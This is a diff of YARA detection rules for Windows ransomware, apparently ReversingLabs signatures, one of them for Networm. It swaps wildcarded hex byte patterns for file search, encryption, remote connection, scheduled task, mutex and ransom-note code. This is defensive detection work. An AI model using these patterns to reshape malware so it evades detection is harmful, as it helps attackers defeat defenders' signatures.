-            ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ??
-            ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85
-            C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B
-            5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ??
-            E9
+		$find_files_v1_p2 = {
+            8B 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ??
+            ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B B5 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 56 8D 4D ?? E8 ?? ?? ??
+            ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ?? ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ??
+            ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59
+            B8 ?? ?? ?? ?? C3 C7 45 ?? ?? ?? ?? ?? 33 DB 8B 85 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 8D
         }
-		$exec_proc = {
-            52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ??
-            ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ??
-            ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B
-            F0 83 C4 ?? 85 F6 75 ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8D 74 04 ?? EB ?? 8D 57 ??
-            8D 4C 24 ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 4C 24
-            ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 EB ?? C6 06 ?? 68 ?? ?? ??
-            ?? 56 FF D3 8B 44 24 ?? 50 56 FF D3 8D 4C 24 ?? 55 51 FF 15 ?? ?? ?? ?? 8B F0 33 D2
-            83 FE ?? 0F 9F C2 8D 4C 24 ?? 8B F2 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            5D 8B C6 5B 8B 8C 24 ?? ?? ?? ?? 5F 5E 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2
+		$create_scheduled_task_v1 = {
+            FF 15 ?? ?? ?? ?? 33 FF 85 C0 74 ?? 8B CF 8A 84 0D ?? ?? ?? ?? 88 84 0D ?? ?? ?? ??
+            41 84 C0 75 ?? 8D BD ?? ?? ?? ?? 4F 8A 47 ?? 47 84 C0 75 ?? BE ?? ?? ?? ?? A5 A5 66
+            A5 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 8B 4B ?? 8B F0 89 BD ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8D 85 ??
+            ?? ?? ?? 2B CA 50 51 FF 73 ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 C4 ?? 8B
+            F2 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1
+            E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 41 84 C0 75 ?? 66 A1
+            ?? ?? ?? ?? 33 DB 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 66 89 01 A0 ?? ?? ?? ?? 53 53 88
+            41 ?? 8D 85 ?? ?? ?? ?? 50 57 53 53 FF D6 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 53 68
+            ?? ?? ?? ?? 57 53 53 FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($exec_proc)
-}
-rule REVERSINGLABS_Win32_Ransomware_Networm : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Networm ransomware."
-		author = "ReversingLabs"
-		id = "3b17b97d-c882-5f65-8b89-847e2300873c"
-		date = "2021-07-05"
-		modified = "2021-07-05"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Networm.yara#L1-L103"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ff9bcb9868522f9d4abf2ab9f94d5b7c9b009e5c6d0cf832c7d052f18e048b31"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Networm"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$find_files = {
-            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? 8B 7D ?? 33 DB
-            6A ?? 59 33 C0 89 5D ?? 89 4D ?? 66 89 45 ?? 89 5D ?? 89 5D ?? 89 4D ?? 66 89 45 ??
-            68 ?? ?? ?? ?? 8B D7 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? 3B C8
-            74 ?? 88 9D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ??
-            8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D
-            4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D
-            ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? F6 85
-            ?? ?? ?? ?? ?? 8D 45 ?? 74 ?? 6A ?? 50 8B CE E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ??
-            ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 FF 15 ?? ??
-            ?? ?? 85 C0 74 ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ??
-            ?? ?? 8B 1D ?? ?? ?? ?? FF D3 8B F0 83 FE ?? 75 ?? 83 7F ?? ?? 8B C7 72 ?? 8B 07 68
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 7F ?? ?? 72 ?? 8B 3F 57 FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? FF D3 8B F0 EB ?? FF 15 ?? ?? ?? ?? EB ?? 33 F6 8D 4D ?? E8 ?? ??
-            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2
+		$remote_connection_v1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B
+            5D ?? 8D 44 24 ?? 56 57 8B 7D ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A
+            ?? 6A ?? 6A ?? 58 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 6A ?? 58 53 66 89 44 24
+            ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24
+            ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B CF 8D 51 ?? 8A 01 41 84 C0 75 ??
+            6A ?? 2B CA 51 57 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-		$remote_connection_p1 = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1
-            FF 15 ?? ?? ?? ?? 33 C0 50 50 89 45 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 57 56
-            FF 15 ?? ?? ?? ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB
-            ?? 81 3B ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? EB ?? 81 3B ?? ?? ??
-            ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ?? ?? 8D 75 ?? 8B
-            45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E 33 CD 5B E8 ??
-            ?? ?? ?? C9 C3
+		$check_mutex_v1 = {
+            E8 ?? ?? ?? ?? 59 59 56 C6 45 ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 50 FF B5
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 57 ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 59 FF 77 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 50 56 FF D3 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
+            56 FF 15 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 94 C0 85 FF 74 ?? 84
+            C0 74 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56
         }
-		$remote_connection_p2 = {
-            55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1
-            FF 15 ?? ?? ?? ?? 33 C0 50 50 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ??
-            ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB ?? 81 3B ?? ??
-            ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ??
-            ?? 8D 75 ?? 8B 45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E
-            33 CD 5B E8 ?? ?? ?? ?? C9 C3
+		$find_files_v2 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 83 EC ?? 53
+            56 57 89 65 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45
+            ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D
+            ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ??
+            3B 45 ?? 0F 87 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ??
+            51 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8
+            ?? 72 ?? 6A ?? 40 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 56
+            8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B
+            7D ?? 33 F6 8B 5D ?? 83 FE ?? 73 ?? 8B 0C B5 ?? ?? ?? ?? 8D 45 ?? 83 FF ?? 0F 43 C3
+            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 46 EB ?? 8D 4D ?? E8 ?? ??
+            ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 8B 4D ?? 32 C0 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45
         }
-		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
-            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 45 ?? 83 F8 ?? C7 45 ?? ?? ?? ?? ?? 0F
-            94 C7 83 F8 ?? 0F 94 C3 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 0F B6 C3 83 F0 ?? 8D 04
-            45 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B C8 89 4E ??
-            85 C9 0F 84 ?? ?? ?? ?? 84 FF 74 ?? BF ?? ?? ?? ?? EB ?? 0F B6 C3 8D 3C 45 ?? ?? ??
-            ?? 8B 56 ?? 8B 46 ?? 85 D2 7C ?? 0F 8F ?? ?? ?? ?? 85 C0 72 ?? 85 D2 7C ?? 0F 8F ??
-            ?? ?? ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 55 ?? EB ?? 0F 57 C0 66 0F 13
-            45 ?? 8B 45 ?? FF 75 ?? 50 FF 75 ?? FF 75 ?? 57 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D
-            4D ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ??
-            59 5F 5E 5B 8B E5 5D C2
+		$encrypt_files_v2_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 51 B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? 8B F1 8B 7D ?? 8D 4D ?? 89 65 ??
+            57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 8B CE 50 E8
+            ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ??
+            ?? ?? 83 C4 ?? 56 53 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56
+            50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0
+            75 ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 08 89 ?? ?? ?? ?? 4E 00 6A ?? 6A ?? 89 41 ??
+            A1 ?? ?? ?? ?? ?? ?? ?? ?? 08 A0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 88
+            41 ?? FF D6 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 15 ?? ??
+            ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75 ?? FF D6 8B 1D ?? ?? ?? ?? 6A ?? FF 75 ?? FF D3 EB
+            ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 6A ?? 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ??
+            85 C0 75 ?? FF D6 8D 45 ?? 50 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
         }
-		$encrypt_files_p2 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C5
-            50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ??
-            ?? 8B 4D ?? 85 C9 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 45 ?? 85 C0 74 ?? 0F
-            8E ?? ?? ?? ?? 83 F8 ?? 7E ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB ?? F6 C1 ?? C7 45 ?? ??
-            ?? ?? ?? B8 ?? ?? ?? ?? 0F 95 C0 40 89 45 ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83
-            7D ?? ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83 7D ?? ?? 0F 82 ??
-            ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8D 45 ?? 8B
-            CE 50 E8 ?? ?? ?? ?? 8D 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C2 ?? ?? 8D 45 ?? 6A
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ??
-            ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45
-            ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6
-            45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8
+		$encrypt_files_v2_p2 = {
+            E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? 33 DB 89 5D ?? 56 57 FF
+            15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? 4E 00 66 89 4D ?? 8D 4D ??
+            89 45 ?? 8D 51 ?? 89 5D ?? 8A 01 41 84 C0 75 ?? 6A ?? 8D 45 ?? 2B CA 50 51 8D 45 ??
+            50 FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF
+            15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 03
+            F0 33 C9 3B 75 ?? 75 ?? 85 C9 75 ?? 33 DB 83 F8 ?? 0F 95 C3 68 ?? ?? ?? ?? 8D 45 ??
+            50 8D 85 ?? ?? ?? ?? 50 6A ?? 53 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ??
+            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ??
+            ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 45 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 FF D6 FF 75 ?? FF D6 8B 4D ?? 5F 5E 64 89 0D
+            ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45
+        }
+		$remote_connection_v2 = {
+            55 8B EC 51 53 56 57 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56
+            FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ??
+            53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F8 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ??
+            8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 53 FF D6 57 FF D6 5F 5E
+            33 C0 5B 8B E5 5D C3
+        }
+		$drop_ransom_note_v2_p1 = {
+            6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ??
+            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? C7
+            40 ?? ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 89 08 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 87 FB 00 00 00 A0 ?? ??
+            ?? ?? 88 87 ?? ?? ?? ?? 8B F7 8D 4E ?? 0F 1F 40 ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46
+            ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 6A ?? 8D 04
+            33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 0F 1F 44 00 ?? 8A 06 46
+            84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56
+            53 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B F7 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B
+            D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 33 68 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50
+        }
+		$drop_ransom_note_v2_p2 = {
+            E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 0F 1F 00 8A 06 46 84 C0 75 ??
